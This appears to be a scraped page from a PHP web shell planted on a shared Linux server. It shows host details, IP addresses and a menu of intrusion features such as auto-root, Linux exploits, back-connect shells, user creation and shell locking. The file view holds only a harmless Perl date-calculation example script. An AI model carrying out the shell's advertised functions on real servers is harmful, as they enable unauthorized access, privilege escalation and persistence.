Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libdate-pcalc-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
tools
[ DIR ]
drwxr-xr-x
EXAMPLES.txt.gz
7.24
KB
-rw-r--r--
TOOLS.txt.gz
1.98
KB
-rw-r--r--
age_in_days_eu.pl.gz
1.42
KB
-rw-r--r--
age_in_days_us.pl.gz
1.42
KB
-rw-r--r--
anniversaries.pl
2.26
KB
-rwxr-xr-x
bug.pl
764
B
-rwxr-xr-x
cal.c
2.71
KB
-rw-r--r--
calendar.pl.gz
5.65
KB
-rw-r--r--
datecalc.pl.gz
2.03
KB
-rw-r--r--
delta.pl
2.54
KB
-rwxr-xr-x
holidays.pl
1.98
KB
-rwxr-xr-x
income.pl
2.86
KB
-rwxr-xr-x
linearcal.pl
1.94
KB
-rwxr-xr-x
nth_weekday.pl
2.24
KB
-rwxr-xr-x
time.pl
1.28
KB
-rwxr-xr-x
vacation.pl
1016
B
-rwxr-xr-x
weiberfastnacht.pl
1.28
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delta.pl
#!/usr/bin/perl -w ############################################################################### ## ## ## Copyright (c) 2000 - 2009 by Steffen Beyer. ## ## All rights reserved. ## ## ## ## This program is free software; you can redistribute it ## ## and/or modify it under the same terms as Perl itself. ## ## ## ############################################################################### BEGIN { eval { require bytes; }; } use strict; use Date::Pcalc qw(:all); my $self = $0; $self =~ s!^.*/!!; die "Usage: $self year1 month1 day1 year2 month2 day2\n" unless (@ARGV == 6); my @date1; my @date2; if (Delta_Days(@ARGV) < 0) { @date1 = (@ARGV)[3,4,5]; @date2 = (@ARGV)[0,1,2]; } else { @date1 = (@ARGV)[0,1,2]; @date2 = (@ARGV)[3,4,5]; } print "\n", Date_to_Text(@date1), "\n", Date_to_Text(@date2), "\n"; $date1[2] = 1; $date2[2] = 1; while (Delta_Days(@date1,@date2) >= 0) { print Calendar((@date1)[0,1]); @date1 = Add_Delta_YMD(@date1,0,1,0); } print "Difference: ", Delta_Business_Days(@ARGV), " Business Days.\n\n"; exit; sub Delta_Business_Days { my(@date1) = (@_)[0,1,2]; my(@date2) = (@_)[3,4,5]; my($minus,$result,$dow1,$dow2,$diff,$temp); $minus = 0; $result = Delta_Days(@date1,@date2); if ($result != 0) { if ($result < 0) { $minus = 1; $result = -$result; $dow1 = Day_of_Week(@date2); $dow2 = Day_of_Week(@date1); } else { $dow1 = Day_of_Week(@date1); $dow2 = Day_of_Week(@date2); } $diff = $dow2 - $dow1; $temp = $result; if ($diff != 0) { if ($diff < 0) { $diff += 7; } $temp -= $diff; $dow1 += $diff; if ($dow1 > 6) { $result--; if ($dow1 > 7) { $result--; } } } die "Assert failed" unless (($temp % 7) == 0); if ($temp != 0) { $temp /= 7; $result -= ($temp << 1); } } if ($minus) { return -$result; } else { return $result; } } __END__
Close